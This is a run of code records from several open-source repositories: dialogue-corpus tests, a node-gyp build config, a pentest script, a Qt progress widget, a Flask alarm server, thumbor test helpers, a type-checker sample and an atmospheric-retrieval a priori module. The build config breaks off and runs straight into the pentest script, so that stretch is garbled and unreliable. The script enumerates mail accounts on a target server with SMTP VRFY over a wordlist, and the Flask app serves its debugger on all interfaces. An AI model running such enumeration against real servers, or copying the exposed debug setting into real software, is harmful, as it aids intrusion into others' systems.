load_switchboardcorpus):\n\t\tsuper().base_test_init(load_switchboardcorpus())\n\n\tdef test_restart(self, load_switchboardcorpus):\n\t\tsuper().base_test_restart(load_switchboardcorpus())\n\n\t@pytest.mark.dependency(depends=[\"TestSwitchboardCorpus::test_init\"])\n\tdef test_get_batch(self, load_switchboardcorpus):\n\t\tdl = load_switchboardcorpus()\n\t\tsuper().base_test_get_batch(dl)\n\n\t\tassert 'multi_ref' in dl.key_name\n\t\tmulti_ref = dl.data['multi_ref']\n\t\tlength = len(multi_ref['candidate_allvocabs'])\n\t\tfor i in range(length):\n\t\t\tbatch = dl.get_batch('multi_ref', [i])\n\t\t\tfor id in [dl.unk_id, dl.go_id, dl.eos_id, dl.pad_id]:\n\t\t\t\tassert id not in batch[\"candidate_allvocabs\"]\n\n\t@pytest.mark.dependency(depends=[\"TestSwitchboardCorpus::test_init\"])\n\tdef test_get_next_batch(self, load_switchboardcorpus):\n\t\tsuper().base_test_get_next_batch(load_switchboardcorpus())\n\n\t@pytest.mark.dependency(depends=[\"TestSwitchboardCorpus::test_init\"])\n\tdef test_convert(self, load_switchboardcorpus):\n\t\tsuper().base_test_convert(load_switchboardcorpus())\n\n\tdef test_multi_turn_convert(self, load_switchboardcorpus):\n\t\tsuper().base_test_multi_turn_convert(load_switchboardcorpus())\n\n\tdef test_teacher_forcing_metric(self, load_switchboardcorpus):\n\t\tsuper().base_test_teacher_forcing_metric(load_switchboardcorpus())\n\n\tdef test_teacher_inference_metric(self, load_switchboardcorpus):\n\t\tsuper().base_test_teacher_inference_metric(load_switchboardcorpus())\n\n\tdef test_teacher_precision_recall_metric(self, load_switchboardcorpus):\n\t\tdl = load_switchboardcorpus()\n\t\tglove = Glove(\"./tests/wordvector/dummy_glove/300d/\")\n\t\tembed = glove.load_pretrained_embed(300, dl.vocab_list)\n\t\tassert isinstance(dl.get_multi_ref_metric(generated_num_per_context=3, word2vec=embed), MetricBase)\n\n\tdef test_init_multi_runs(self, load_switchboardcorpus):\n\t\tsuper().base_test_multi_runs([load_switchboardcorpus() for i in range(3)])\n", "source": "heyLinsir/cotk", "license": "Apache-2.0"} {"text": "{\n 'target_defaults': {\n 'default_configuration': 'Release'\n },\n \"targets\": [\n {\n 'configurations': {\n 'Debug': {\n 'cflags': ['-g3', '-O0'],\n 'msvs_settings': {\n 'VCCLCompilerTool': {\n 'BasicRuntimeChecks': 3, # /RTC1\n 'ExceptionHandling': 1, # /EHsc\n 'Optimization': '0', # /Od, no optimization\n 'WarningLevel': 4\n },\n 'VCLinkerTool': {\n 'GenerateDebugInformation': 'true',\n 'LinkIncremental': 2 # enable incremental linking\n }\n }\n },\n 'Release': {\n 'cflags': ['-O2', '-W', '-Wall', '-Wextra', '-ansi', '-pedantic'],\n 'msvs_settings': {\n 'VCCLCompilerTool': {\n 'AdditionalOptions': ['/Zc:inline', '/MP'],\n 'BufferSecurityCheck': 'true',\n 'ExceptionHandling': 1, # /EHsc\n 'FavorSizeOrSpeed': '1',\n 'OmitFramePointers': 'false', # Ideally, we should only disable for x64\n 'Optimization': '2',\n 'StringPooling': 'true',\n 'WarningLevel': 3,\n 'WholeProgramOptimization': 'true'\n },\n 'VCLinkerTool': {\n 'DataExecutionPrevention': 2, # enable DEP\n 'EnableCOMDATFolding': 2, # /OPT:ICF\n 'LinkIncremental': 1, # disable incremental linking\n 'LinkTimeCodeGeneration': 1, # link-time code generation\n 'OptimizeReferences': 2, # /OPT:REF\n 'RandomizedBaseAddress': 2, # enable ASLR\n 'SetChecksum': 'true'\n }\n }\n }\n },\n\n \"target_name\": \"<(module_name)\",\n 'lflags': ['-lm'],\n \"include_dirs\": [\n \"zopfli/src/zopfli\",\n \"zopfli/src/zopflipng\",\n \"\"\n sys.exit(0)\n\nprint \"INFO: Trying SMTP Enum on \" + sys.argv[1]\nnames = open(fzzlst, 'r')\nfor name in names:\n s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n connect=s.connect((sys.argv[1],25))\n banner=s.recv(1024)\n s.send('HELO test@test.org \\r\\n')\n result= s.recv(1024)\n s.send('VRFY ' + name.strip() + '\\r\\n')\n result=s.recv(1024)\n if (\"not implemented\" in result) or (\"disallowed\" in result):\n sys.exit(\"INFO: VRFY Command not implemented on \" + sys.argv[1])\n if ((\"250\" in result) or (\"252\" in result) and (\"Cannot VRFY\" not in result)):\n print \"[*] SMTP VRFY Account found on \" + sys.argv[1] + \": \" + name.strip()\n s.close()\n", "source": "galletitaoreo/PythonPentest", "license": "MIT"} {"text": "# ===============================================================================\n# Copyright 2013 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\nfrom traits.api import Int, Str\nfrom traitsui.basic_editor_factory import BasicEditorFactory\nfrom traitsui.qt4.editor import Editor\n# ============= standard library imports ========================\nfrom pyface.qt.QtGui import QProgressBar, QVBoxLayout, QLabel\n# ============= local library imports ==========================\n\nclass _ProgressEditor(Editor):\n max=Int\n message=Str\n def init(self, parent):\n self.control = self._create_control(parent)\n self.control.setMaximum(self.factory.max)\n self.control.setMinimum(self.factory.min)\n if self.factory.max_name:\n self.sync_value(self.factory.max_name,'max',mode='from')\n if self.factory.message_name:\n self.sync_value(self.factory.message_name, 'message', mode='from')\n\n def _max_changed(self):\n # print 'max',self.max\n self.control.setMaximum(self.max)\n\n def _message_changed(self, m):\n # print 'message',m\n self._message_control.setText(m)\n\n def _create_control(self, parent):\n layout=QVBoxLayout()\n pb = QProgressBar()\n\n self._message_control=QLabel()\n self._message_control.setText(' ')\n layout.addWidget(self._message_control)\n layout.addWidget(pb)\n\n return pb\n\n def update_editor(self):\n self.control.setValue(self.value)\n\n\nclass ProgressEditor(BasicEditorFactory):\n klass = _ProgressEditor\n min = Int\n max = Int\n max_name=Str\n message_name=Str\n\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from flask import Flask,request\nimport winsound\ndef alarm():\n\twinsound.Beep(2300,500)\n\twinsound.Beep(2400,500)\n\ndef alarm2():\n\twinsound.Beep(1000,100)\n\twinsound.Beep(2000,100)\n\twinsound.Beep(1000,100)\n\napp = Flask(__name__)\nhtml=\"\"\"\ncounter:%(counter)s ms:%(ms)s\n\"\"\"\n@app.route('/',methods=['GET'])\ndef index():\n\tglobal counter,ms\n\tcounter=request.args.get('cnt')\n\tms=request.args.get('ms')\n\talarm2()\n\treturn \"OK\"\n\n@app.route('/read/',methods=['GET'])\ndef read():\n\tglobal counter,A\n\treturn (html % {'counter': counter, 'ms':ms},\n\t\t200, {'Refresh': '2;'})\n\ncounter=''\nms=''\nif __name__ == '__main__':\n\tapp.run(debug=True,host='0.0.0.0')", "source": "wasit7/tutorials", "license": "MIT"} {"text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# thumbor imaging service\n# https://github.com/thumbor/thumbor/wiki\n\n# Licensed under the MIT license:\n# http://www.opensource.org/licenses/mit-license\n# Copyright (c) 2011 globo.com thumbor@googlegroups.com\n\nimport mimetypes\nimport random\nfrom io import BytesIO\nfrom os.path import dirname, join, realpath\nfrom urllib.parse import urlencode\n\nimport mock\nfrom PIL import Image\nfrom ssim import compute_ssim\nfrom tornado.testing import AsyncHTTPTestCase\n\nfrom thumbor.app import ThumborServiceApp\nfrom thumbor.config import Config\nfrom thumbor.context import Context, RequestParameters\nfrom thumbor.engines.pil import Engine as PilEngine\nfrom thumbor.importer import Importer\nfrom thumbor.transformer import Transformer\n\n\ndef get_ssim(actual, expected):\n if actual.size[0] != expected.size[0] or actual.size[1] != expected.size[1]:\n raise RuntimeError(\n \"Can't calculate SSIM for images of different sizes (\"\n f\"one is {actual.size[0]}x{actual.size[1]}, \"\n f\"the other {expected.size[0]}x{expected.size[1]}).\",\n )\n\n return compute_ssim(actual, expected)\n\n\ndef encode_multipart_formdata(fields, files):\n boundary = b\"thumborUploadFormBoundary\"\n crlf = b\"\\r\\n\"\n lines = []\n for key, value in fields.items():\n lines.append(b\"--\" + boundary)\n lines.append(b'Content-Disposition: form-data; name=\"%s\"' % key.encode())\n lines.append(b\"\")\n lines.append(value)\n for (key, filename, value) in files:\n lines.append(b\"--\" + boundary)\n lines.append(\n b'Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"'\n % (key.encode(), filename.encode())\n )\n lines.append(\n b\"Content-Type: %s\" % mimetypes.guess_type(filename)[0].encode()\n or b\"application/octet-stream\"\n )\n lines.append(b\"\")\n lines.append(value)\n lines.append(b\"\")\n lines.append(b\"\")\n lines.append(b\"--\" + boundary + b\"--\")\n body = crlf.join(lines)\n content_type = b\"multipart/form-data; boundary=%s\" % boundary\n return content_type, body\n\n\nclass TestCase(AsyncHTTPTestCase):\n _multiprocess_can_split_ = True\n\n def get_app(self):\n self.config = ( # This is a test case pylint: disable=attribute-defined-outside-init\n self.get_config()\n )\n self.server = ( # This is a test case pylint: disable=attribute-defined-outside-init\n self.get_server()\n )\n self.importer = ( # This is a test case pylint: disable=attribute-defined-outside-init\n self.get_importer()\n )\n self.request_handler = ( # This is a test case pylint: disable=attribute-defined-outside-init\n self.get_request_handler()\n )\n self.importer.import_modules()\n\n self.context = self.get_context()\n return ThumborServiceApp(self.context)\n\n def get_config(self): # Meant to be overriden pylint: disable=no-self-use\n return Config()\n\n def get_server(self): # Meant to be overriden pylint: disable=no-self-use\n return None\n\n def get_importer(self):\n importer = Importer(self.config)\n importer.import_modules()\n return importer\n\n def get_request_handler(\n self,\n ): # Meant to be overriden pylint: disable=no-self-use\n return None\n\n def get_context(self):\n self.importer.import_modules()\n return Context(self.server, self.config, self.importer, self.request_handler)\n\n async def async_fetch(self, path, method=\"GET\", body=None, headers=None):\n return await self.http_client.fetch(\n self.get_url(path),\n method=method,\n body=body,\n headers=headers,\n allow_nonstandard_methods=True,\n raise_error=False,\n )\n\n async def async_get(self, path, headers=None):\n return await self.async_fetch(\n path, method=\"GET\", body=urlencode({}, doseq=True), headers=headers\n )\n\n async def async_post(self, path, headers, body):\n return await self.async_fetch(\n path,\n method=\"POST\",\n body=body,\n headers=headers,\n )\n\n async def async_put(self, path, headers, body):\n return await self.async_fetch(\n path,\n method=\"PUT\",\n body=body,\n headers=headers,\n )\n\n async def async_delete(self, path, headers):\n return await self.async_fetch(\n path,\n method=\"DELETE\",\n body=urlencode({}, doseq=True),\n headers=headers,\n )\n\n async def async_post_files(self, path, data=None, files=None):\n if data is None:\n data = {}\n if files is None:\n files = []\n multipart_data = encode_multipart_formdata(data, files)\n\n return await self.async_fetch(\n path,\n method=\"POST\",\n body=multipart_data[1],\n headers={\"Content-Type\": multipart_data[0]},\n )\n\n\nclass FilterTestCase(TestCase):\n _multiprocess_can_split_ = True\n\n def setUp(self):\n super().setUp()\n self.context = {}\n\n def get_filter(self, filter_name, params_string=\"\", config_context=None):\n config = Config(\n FILTERS=[filter_name],\n LOADER=\"thumbor.loaders.file_loader\",\n FILE_LOADER_ROOT_PATH=self.get_fixture_root_path(),\n )\n importer = Importer(config)\n importer.import_modules()\n\n req = RequestParameters()\n\n context = Context(config=config, importer=importer)\n context.request = req\n context.request.engine = context.modules.engine\n\n if config_context is not None:\n config_context(context)\n\n self.context = context\n\n fltr = importer.filters[0]\n fltr.pre_compile()\n\n context.transformer = Transformer(context)\n\n return fltr(params_string, context=context)\n\n @staticmethod\n def get_fixture_root_path():\n return join(dirname(realpath(__file__)), \"fixtures\", \"filters\")\n\n def get_fixture_path(self, name):\n return f\"{self.get_fixture_root_path()}/{name}\"\n\n def get_fixture(self, name, mode=\"RGB\"):\n image = Image.open(self.get_fixture_path(name))\n return image.convert(mode)\n\n async def get_filtered(\n self,\n source_image,\n filter_name,\n params_string,\n config_context=None,\n mode=\"RGB\",\n ):\n fltr = self.get_filter(filter_name, params_string, config_context)\n image = Image.open(self.get_fixture_path(source_image))\n img_buffer = BytesIO()\n\n # Special case for the quality test, because the quality filter\n # doesn't really affect the image, it only sets a context value\n # for use on save. But here we convert the result,\n # we do not save it\n if params_string == \"quality(10)\":\n image.save(img_buffer, \"JPEG\", quality=10)\n fltr.engine.load(img_buffer.getvalue(), \".jpg\")\n else:\n image.save(img_buffer, \"PNG\", quality=100)\n fltr.engine.load(img_buffer.getvalue(), \".png\")\n\n fltr.context.transformer.img_operation_worker()\n\n await fltr.run()\n\n fltr.engine.image = fltr.engine.image.convert(mode)\n\n return fltr.engine.image\n\n @staticmethod\n def get_ssim(actual, expected):\n return get_ssim(actual, expected)\n\n def debug(self, image): # pylint: disable=arguments-differ\n image = Image.fromarray(image)\n path = f\"/tmp/debug_image_{random.randint(1, 10000)}.jpg\"\n image.save(path, \"JPEG\")\n print(f\"The debug image was in {path}.\")\n\n @staticmethod\n def debug_size(image):\n loaded = Image.fromarray(image)\n print(\n f\"Image dimensions are {loaded.size[0]}x{loaded.size[1]} (shape is {image.shape})\"\n )\n\n\nclass DetectorTestCase(TestCase):\n _multiprocess_can_split_ = True\n\n def setUp(self):\n super().setUp()\n self.context.request = mock.Mock(focal_points=[])\n self.engine = PilEngine(self.context)\n self.context.modules.engine = self.engine\n", "source": "jairhenrique/thumbor", "license": "MIT"} {"text": "# This sample tests the type checker's validation of class variables\n# whose name conflict with a __slots__ entry.\n\nfrom dataclasses import dataclass, field\n\nclass NoSlots1:\n pass\n\n\nclass Slots1(NoSlots1):\n __slots__ = \"aaa\", \"bbb\", \"ccc\"\n\n # This should generate an error\n aaa = 3\n\n # This should generate an error\n bbb: int = 3\n\n # This should generate an error\n (ccc, ddd) = 3, 4\n\n eee = 5\n\n\nclass Slots2(Slots1):\n __slots__ = ()\n\n aaa = 4\n\n\n@dataclass\nclass Slots3:\n __slots__ = ('values',)\n\n # This should not generate an error because class variables\n # in a dataclass are replaced by instance variables.\n values: list[int] = field(default_factory=list)\n\n", "source": "Microsoft/pyright", "license": "MIT"} {"text": "\"\"\"\nartssat.retrieval.a_priori\n--------------------------\n\nThe :code:`retrieval.a_priori` sub-module provides modular data provider\nobject that can be used to build a priori data providers.\n\"\"\"\nfrom artssat.data_provider import DataProviderBase\nfrom artssat.sensor import ActiveSensor, PassiveSensor\nfrom artssat.jacobian import Transformation\nimport numpy as np\nimport scipy as sp\nimport scipy.sparse\n\n\n################################################################################\n# Covariances\n################################################################################\n\nclass Diagonal:\n def __init__(self,\n diagonal,\n mask = None,\n mask_value = 1e-12):\n self.diagonal = np.array(diagonal)\n self.mask = mask\n self.mask_value = mask_value\n\n def get_covariance(self, data_provider, *args, **kwargs):\n\n if not self.mask is None:\n mask = np.logical_not(self.mask(data_provider, *args, **kwargs))\n else:\n mask = []\n\n if self.diagonal.size == 1:\n z = data_provider.get_altitude(*args, **kwargs)\n diagonal = self.diagonal * np.ones(z.size)\n else:\n diagonal = self.diagonal\n\n diagonal[mask] = self.mask_value\n diagonal = sp.sparse.diags(diagonal, format = \"coo\")\n return diagonal\n\nclass SpatialCorrelation:\n \"\"\"\n Adds spatial correlation to a given covariance matrix.\n \"\"\"\n def __init__(self,\n covariance,\n correlation_length,\n correlation_type = \"exp\",\n cutoff = 1e-12,\n mask = None,\n mask_value = 1e-12,\n z = None):\n \"\"\"\n Arguments:\n\n covariance: Covariance object providing the original covariance\n matrix to which to apply the spatial correlation.\n\n correlation_length(:code:`float`): Correlation length in meters.\n\n correlation_type(:code:`str`): Type of the correlation to apply.\n\n cutoff(:code:`float`): Threshold below which to set correlation\n coefficients to zero.\n \"\"\"\n self.covariance = covariance\n self.correlation_length = correlation_length\n self.correlation_type = correlation_type\n self.cutoff = cutoff\n self.mask = mask\n self.mask_value = mask_value\n self.z = z\n\n def get_covariance(self, data_provider, *args, **kwargs):\n\n if self.z is None:\n z = data_provider.get_altitude(*args, **kwargs)\n else:\n z = self.z\n dz = np.abs(z.reshape(-1, 1) - z.reshape(1, -1))\n\n if self.correlation_type == \"exp\":\n corr = np.exp(- np.abs(dz / self.correlation_length) )\n elif self.correlation_type == \"gauss\":\n corr = np.exp(- (dz / self.correlation_length) ** 2)\n\n inds = corr < self.cutoff\n corr[inds] = 0.0\n\n covmat = self.covariance.get_covariance(data_provider, *args, **kwargs)\n if isinstance(covmat, sp.sparse.spmatrix):\n covmat = covmat.todense()\n diag = np.sqrt(covmat.diagonal())\n covmat = corr * np.array((diag.T * diag))\n\n if not self.mask is None:\n inds = np.logical_not(self.mask(data_provider, *args, **kwargs))\n inds2 = np.logical_or(inds.reshape(-1, 1), inds.reshape(1, -1))\n covmat[inds2] = 0.0\n covmat[inds, inds] = self.mask_value\n\n return np.asarray(covmat)\n\nclass Thikhonov:\n \"\"\"\n Thikhonov regularization using second order finite differences.\n \"\"\"\n def __init__(self,\n scaling = 1.0,\n diagonal = 0.0,\n mask = None,\n mask_value = 1e12,\n z_scaling = True,\n z_grid = None):\n \"\"\"\n Arguments:\n scaling(:code:`np.float`): Scalar to scale the precision matrix with.\n\n mask: A mask object defining indices on the diagonal on the precision\n matrix to which to as :code:`mask_value`.\n\n mask_value(:code:`float`): Scalar to add to the diagonal of the precision\n matrix on locations defined by :code:`mask`.\n\n z_scaling(:code:`Bool`): Whether or not to scale matrix coefficients\n according to height differences between levels.\n \"\"\"\n self.scaling = scaling\n self.diagonal = diagonal\n self.mask = mask\n self.mask_value = mask_value\n self.z_scaling = z_scaling\n self.z_grid = z_grid\n\n def get_covariance(self, data_provider, *args, **kwargs):\n precmat = self.get_precision(data_provider, *args, **kwargs)\n diag = precmat.diagonal()\n return sp.sparse.diags(1.0 / diag, format = \"coo\")\n\n def get_precision(self, data_provider, *args, **kwargs):\n\n if self.z_grid is None:\n z = data_provider.get_altitude(*args, **kwargs)\n z_old = None\n else:\n z = self.z_grid\n z_old = data_provider.get_altitude(*args, **kwargs)\n n = z.size\n\n du2 = np.ones(n - 2)\n\n du1 = -4.0 * np.ones(n - 1)\n du1[0] = -2.0\n du1[-1] = -2.0\n\n dl1 = np.copy(du1)\n dl2 = np.copy(du2)\n\n d = 6.0 * np.ones(n)\n d[:2] = [1, 5]\n d[-2:] = [5, 1]\n\n if self.diagonal > 0.0:\n d += self.diagonal\n\n if not self.mask is None:\n mask = self.mask(data_provider, *args, **kwargs).astype(np.float)\n if not z_old is None:\n f = sp.interpolate.interp1d(z_old, mask,\n axis = 0,\n bounds_error = False,\n fill_value = (mask[0], mask[-1]))\n mask = f(z) > 0.5\n\n mask = np.logical_not(mask)\n du1[mask[:-1]] = 0\n du2[mask[:-2]] = 0\n dl1[mask[1:]] = 0\n dl2[mask[2:]] = 0\n d[mask] = self.mask_value\n\n\n precmat = sp.sparse.diags(diagonals = [du2, du1, d, dl1, dl2],\n offsets = [2, 1, 0, -1, -2],\n format = \"coo\")\n precmat *= self.scaling\n\n if self.z_scaling:\n zf = (np.diff(z) / np.diff(z).mean()) ** 2.0\n zf1 = np.zeros(z.shape)\n zf1[1:] += zf\n zf1[:-1] += zf\n zf1[1:-1] *= 0.5\n precmat = sp.sparse.diags(diagonals = [zf1], offsets = [0], format = \"coo\") * precmat\n\n return precmat.tocoo()\n\n################################################################################\n# APrioriProviderBase\n################################################################################\n\nclass APrioriProviderBase(DataProviderBase):\n def __init__(self,\n name,\n covariance):\n \"\"\"\n Create :class:`DataProviderApriori` instance that will provide\n the value of the quantity :code:`name` from the owning data\n provider as a priori mean state.\n\n Arguments:\n\n name(:code:`name`): Name of the quantity that this a priori\n provider should propagate.\n\n covariance(:code:`numpy.array` or :code:`float`): Diagonal or\n full covariance matrix to be provided as covariance matrix\n for the retrieval quantity.\n\n spatial_correlation: Functor that is applied to the covariance\n matrix before this is returned.\n \"\"\"\n\n super().__init__()\n xa_name = \"get_\" + name + \"_xa\"\n self.__dict__[xa_name] = self.get_xa\n\n if hasattr(self, \"get_x0\"):\n x0_name = \"get_\" + name + \"_x0\"\n self.__dict__[x0_name] = self.get_x0\n\n if hasattr(covariance, \"get_covariance\"):\n covariance_name = \"get_\" + name + \"_covariance\"\n self.__dict__[covariance_name] = self.get_covariance\n if hasattr(covariance, \"get_precision\"):\n precision_name = \"get_\" + name + \"_precision\"\n self.__dict__[precision_name] = self.get_precision\n\n if hasattr(self, \"get_mask\"):\n precision_name = \"get_\" + name + \"_mask\"\n self.__dict__[precision_name] = self.get_mask\n\n self.name = name\n self._covariance = covariance\n\n def get_covariance(self, *args, **kwargs):\n return self._covariance.get_covariance(self.owner, *args, **kwargs)\n\n def get_precision(self, *args, **kwargs):\n return self._covariance.get_precision(self.owner, *args, **kwargs)\n\n################################################################################\n# Masks\n################################################################################\n\nclass And:\n \"\"\"\n Creates a combined mask by applying logical and to a list\n of single masks.\n \"\"\"\n def __init__(self, *args):\n self.masks = list(args)\n\n def __call__(self, data_provider, *args, **kwargs):\n \"\"\"\n Arguments:\n\n data_provider: Data provider describing the atmospheric scenario.\n\n *args: Arguments to forward to data provider.\n\n **kwargs: Keyword arguments to forward to data_provider.\n \"\"\"\n masks = []\n for m in self.masks:\n masks += [m(data_provider, *args, **kwargs)]\n\n m_and = masks[0]\n for m in masks[1:]:\n m_and = np.logical_and(m_and, m)\n\n return m_and\n\nclass TropopauseMask:\n \"\"\"\n Returns a mask that is true only below the approximate height of the\n troposphere. The troposphere is detected as the first grid point\n where the lapse rate is negative and the temperature below 220.\n \"\"\"\n def __init__(self):\n pass\n\n def __call__(self, data_provider, *args, **kwargs):\n \"\"\"\n Arguments:\n\n data_provider: Data provider describing the atmospheric scenario.\n\n *args: Arguments to forward to data provider.\n\n **kwargs: Keyword arguments to forward to data_provider.\n \"\"\"\n t = data_provider.get_temperature(*args, **kwargs)\n t_avg = 0.5 * (t[1:] + t[:-1])\n lr = - np.diff(t)\n\n tp = np.where(np.logical_and(lr < 0, t_avg < 220))[0]\n inds = np.ones(t.size, dtype = np.bool)\n if len(tp > 0):\n i = np.where(np.logical_and(lr < 0, t_avg < 220))[0][0]\n inds[i + 1 : inds.size] = False\n return inds\n\nclass FreezingLevel:\n def __init__(self,\n lower_inclusive = False,\n invert = False):\n self.lower_inclusive = lower_inclusive\n self.invert = invert\n\n def __call__(self, data_provider, *args, **kwargs):\n \"\"\"\n Arguments:\n\n data_provider: Data provider describing the atmospheric scenario.\n\n *args: Arguments to forward to data provider.\n\n **kwargs: Keyword arguments to forward to data_provider.\n \"\"\"\n t = data_provider.get_temperature(*args, **kwargs)\n inds = np.where(t < 273.15)[0]\n if len(inds) > 0:\n i = inds[0]\n else:\n i = 0\n if self.lower_inclusive:\n i = max(i - 1, 0)\n inds = np.zeros(t.size, dtype = np.bool)\n inds[i:] = True\n\n if self.invert:\n inds = np.logical_not(inds)\n\n return inds\n\nclass TemperatureMask:\n \"\"\"\n The temperature mask replaces values at grid points outside of the\n given temperature interval with another value.\n \"\"\"\n def __init__(self,\n lower_limit,\n upper_limit,\n lower_inclusive = False,\n upper_inclusive = False):\n \"\"\"\n Arguments:\n\n lower_limit(:code:`float`): The lower temperature limit\n upper_limit(:code:`float`): The upper temperature limit\n lower_inclusive: Whether or not to include highest grid\n point (in altitude) that does not lie in the half-open\n temperature interval between lower_limit and upper limit.\n lower_inclusive: Whether or not to include lowest grid\n point (in altitude) that does not lie in the half-open\n temperature interval between lower_limit and upper limit.\n\n point on lower limit.\n upper_inclusive: Whether or not to include adjacent grid\n point on upper limit.\n \"\"\"\n self.lower_limit = lower_limit\n self.upper_limit = upper_limit\n self.upper_inclusive = upper_inclusive\n self.lower_inclusive = lower_inclusive\n\n def __call__(self, data_provider, *args, **kwargs):\n t = data_provider.get_temperature(*args, **kwargs)\n inds = np.logical_and(t.ravel() >= self.lower_limit,\n t.ravel() < self.upper_limit)\n if self.upper_inclusive:\n inds[1:] += inds[:-1]\n if self.lower_inclusive:\n inds[:-1] += inds[1:]\n return inds\n\nclass AltitudeMask:\n \"\"\"\n The altitude mask replaces values at grid points outside of the\n given altitude interval with another value.\n \"\"\"\n def __init__(self, lower_limit, upper_limit):\n \"\"\"\n Arguments:\n\n lower_limit(:code:`float`): The lower altitude limit\n\n upper_limit(:code:`float`): The upper altitude limit\n\n \"\"\"\n self.lower_limit = lower_limit\n self.upper_limit = upper_limit\n\n def __call__(self, data_provider, *args, **kwargs):\n z = data_provider.get_altitude(*args, **kwargs)\n inds = np.logical_and(z.ravel() >= self.lower_limit,\n z.ravel() < self.upper_limit)\n return inds\n\n\nclass Dilate:\n def __init__(self, mask, n):\n self.mask = mask\n self.n = n\n\n def __call__(self, data_provider, *args, **kwargs):\n mask = self.mask(data_provider, *args, **kwargs)\n return sp.ndimage.binary_dilation(mask)\n\n\n################################################################################\n# A priori providers\n################################################################################\n\nclass DataProviderAPriori(APrioriProviderBase):\n \"\"\"\n A priori provider that propagates an atmospheric quantity :code:`name`\n as a priori mean profile from the data provider.\n \"\"\"\n\n def __init__(self,\n name,\n covariance,\n transformation=None,\n mask=None,\n mask_value=None):\n \"\"\"\n Create :class:`DataProviderApriori` instance that will provide\n the value of the quantity :code:`name` from the owning data\n provider as a priori mean state.\n\n Arguments:\n\n name(:code:`name`): Name of the quantity that this a priori\n provider should propagate.\n\n covariance(:code:`numpy.array` or :code:`float`): Diagonal or\n full covariance matrix to be provided as covariance matrix\n for the retrieval quantity.\n\n spatial_correlation: Functor that is applied to the covariance\n matrix before this is returned.\n \"\"\"\n self.transformation = transformation\n self.mask = mask\n self.mask_value = mask_value\n super().__init__(name, covariance)\n\n def _get_mask(self, data_provider, *args, **kwargs):\n if self.mask is None:\n xa = self.get_xa(*args, **kwargs)\n mask = np.ones(xa.shape, dtype=np.bool)\n else:\n mask = self.mask(data_provider, *args, **kwargs)\n return mask\n\n def get_xa(self, *args, **kwargs):\n\n f_name = \"get_\" + self.name\n try:\n f = getattr(self.owner, f_name)\n except:\n raise Exception(\"DataProviderApriori instance requires get method \"\n \" {0} from its owning data provider.\")\n x = f(*args, **kwargs)\n if self.transformation:\n x = self.transformation(x)\n if self.mask is not None:\n mask = np.logical_not(self._get_mask(self.owner, *args, **kwargs))\n x[mask] = self.mask_value\n return x\n\n\nclass FixedAPriori(APrioriProviderBase):\n \"\"\"\n Returns an a priori profile that does not depend on the atmospheric\n state.\n \"\"\"\n def __init__(self,\n name,\n xa,\n covariance,\n mask = None,\n mask_value = 1e-12):\n\n if not mask is None:\n if not hasattr(self, \"get_mask\"):\n self.__dict__[\"get_mask\"] = self._get_mask\n\n super().__init__(name, covariance)\n self._xa = np.array(xa)\n self.mask = mask\n self.mask_value = mask_value\n\n def _get_mask(self, data_provider, *args, **kwargs):\n if self.mask is None:\n xa = self._get_xa(data_provider, *args, **kwargs)\n mask = np.ones(xa.shape, dtype=np.bool)\n else:\n mask = self.mask(data_provider, *args, **kwargs)\n return mask\n\n def _get_xa(self, data_provider, *args, **kwargs):\n\n if self._xa.size == 1:\n z = data_provider.get_altitude(*args, **kwargs)\n xa = self._xa.ravel() * np.ones(z.size)\n else:\n xa = self._xa\n\n if not self.mask is None:\n mask = np.logical_not(self._get_mask(data_provider, *args, **kwargs))\n xa[mask] = self.mask_value\n\n return xa\n\n def get_xa(self, *args, **kwargs):\n return self._get_xa(self.owner, *args, **kwargs)\n\n################################################################################\n# Functional a priori\n################################################################################\n\nclass FunctionalAPriori(APrioriProviderBase):\n \"\"\"\n Returns an a priori profile that is a functional transform\n of some variable.\n \"\"\"\n def __init__(self,\n name,\n variable,\n f,\n covariance,\n mask = None,\n mask_value = 1e-12):\n\n if not mask is None:\n self.__dict__[\"get_mask\"] = self._get_mask\n\n super().__init__(name, covariance)\n self.variable = variable\n self.f = f\n self.mask = mask\n self.mask_value = mask_value\n\n def _get_mask(self, data_provider, *args, **kwargs):\n mask = self.mask(data_provider, *args, **kwargs)\n return mask.astype(np.float)\n\n def get_xa(self, *args, **kwargs):\n\n try:\n f_get = getattr(self.owner, \"get_\" + self.variable)\n x = f_get(*args, **kwargs)\n except:\n raise Exception(\"Could not get variable {} from data provider.\"\n .format(self.variable))\n\n xa = self.f(x)\n\n if not self.mask is None:\n mask = np.logical_not(self.mask(self.owner, *args, **kwargs))\n xa[mask] = self.mask_value\n\n return xa\n\n################################################################################\n# Reference A Priori\n################################################################################\n\nclass ReferenceAPriori(APrioriProviderBase):\n \"\"\"\n Forwards value from data provider as a priori state. Useful for\n testing of retrieval implementation.\n \"\"\"\n def __init__(self,\n name,\n covariance,\n mask = None,\n mask_value = 1e-12,\n a_priori = None,\n transformation = None,\n variable = None):\n super().__init__(name, covariance)\n self.mask = mask\n self.mask_value = mask_value\n self.a_priori = a_priori\n self.transformation = transformation\n\n if not variable is None:\n self.variable = variable\n else:\n self.variable = name\n\n def get_xa(self, *args, **kwargs):\n if not self.a_priori is None:\n self.a_priori.owner = self.owner\n return self.a_priori.get_xa(*args, **kwargs)\n else:\n f_get = getattr(self.owner, \"get_\" + self.variable)\n x = f_get(*args, **kwargs)\n if not self.transformation is None:\n x = self.transformation(x)\n return x\n\n def get_x0(self, *args, **kwargs):\n\n f_get = getattr(self.owner, \"get_\" + self.variable)\n x = f_get(*args, **kwargs)\n if not self.transformation is None:\n x = self.transformation(x)\n\n if not self.a_priori is None:\n if hasattr(self.a_priori, \"mask\") and not self.a_priori.mask is None:\n mask = np.logical_not(self.a_priori.mask(self.owner, *args, **kwargs))\n x[mask] = self.a_priori.mask_value\n\n return x\n\n################################################################################\n# Sensor a priori\n################################################################################\n\nclass 